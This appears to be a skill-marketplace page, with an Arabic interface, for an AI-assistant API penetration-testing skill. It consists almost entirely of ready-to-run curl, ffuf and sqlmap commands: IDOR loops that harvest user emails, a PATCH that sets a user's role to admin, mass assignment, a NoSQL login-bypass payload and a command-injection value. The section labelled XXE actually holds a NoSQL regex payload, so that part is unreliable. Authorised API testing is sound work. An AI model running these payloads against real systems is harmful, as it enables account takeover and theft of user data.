بنقرة واحدة
pentest-api
API security testing — REST, GraphQL, authentication, authorization, rate limiting, business logic
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
القائمة
API security testing — REST, GraphQL, authentication, authorization, rate limiting, business logic
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
Network penetration testing — service enumeration, vulnerability scanning, credential auditing, Active Directory
Master pentest orchestration — full pipeline from target to report with confirmation gates
Comprehensive reconnaissance — passive OSINT, subdomain enumeration, port scanning, technology fingerprinting
Generate professional penetration testing reports from findings
Web application penetration testing — XSS, SQLi, CSRF, SSRF, command injection, file upload, WAF bypass
Code security testing — SAST, SCA, secret detection, container scanning, IaC analysis
| name | pentest_api |
| description | API security testing — REST, GraphQL, authentication, authorization, rate limiting, business logic |
| triggers | ["api pentest","api test","rest api","graphql","idor","bola"] |
Dedicated skill for testing REST and GraphQL API security (OWASP API Top 10).
# Check common doc locations
curl -s {target_url}/swagger.json | jq '.paths | keys[]' > /tmp/api-swagger-paths.txt
curl -s {target_url}/openapi.json | jq '.paths | keys[]' > /tmp/api-openapi-paths.txt
# Fuzz common API paths
ffuf -u {target_url}/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/swagger.txt \
-mc 200 -o /tmp/api-docs-ffuf.json -of json
ffuf -u {target_url}/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403,405 -o /tmp/api-endpoints.json -of json
curl -s -X POST {target_url}/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"}' \
| jq '.' > /tmp/graphql-schema.json
# Test: no auth, invalid token, expired token
curl -s -o /dev/null -w "%{http_code}" {target_url}/api/users
curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Bearer TOKEN" {target_url}/api/users
# Enumerate resource IDs with same token
for id in $(seq 1 100); do
curl -s -H "Authorization: Bearer TOKEN" {target_url}/api/users/${id} | jq '.email // empty'
done
curl -s -H "Authorization: Bearer USER_TOKEN" {target_url}/api/admin/users
curl -s -X DELETE -H "Authorization: Bearer USER_TOKEN" {target_url}/api/users/2
curl -s -X PATCH -H "Authorization: Bearer USER_TOKEN" {target_url}/api/users/1 \
-d '{"role":"admin"}'
curl -X POST {target_url}/api/users \
-H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" \
-d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'
# SQLi in API params
sqlmap -u "{target_url}/api/users?id=1" --batch --level=3 --headers="Authorization: Bearer TOKEN"
# NoSQL injection
curl -X POST {target_url}/api/login -H "Content-Type: application/json" \
-d '{"username":{"$gt":""},"password":{"$gt":""}}'
# Command injection
curl -X POST {target_url}/api/ping -H "Content-Type: application/json" \
-d '{"host":"127.0.0.1; sleep 5"}'
# XXE in XML/SOAP APIs
curl -X POST {target_url}/api/search -H "Content-Type: application/json" \
-d '{"query":{"$regex":".*"}}'
for i in $(seq 1 200); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" {target_url}/api/users)
[[ "$STATUS" == "429" ]] && echo "Rate limited at request $i" && break
done
Check for excessive data in responses; sensitive fields exposed.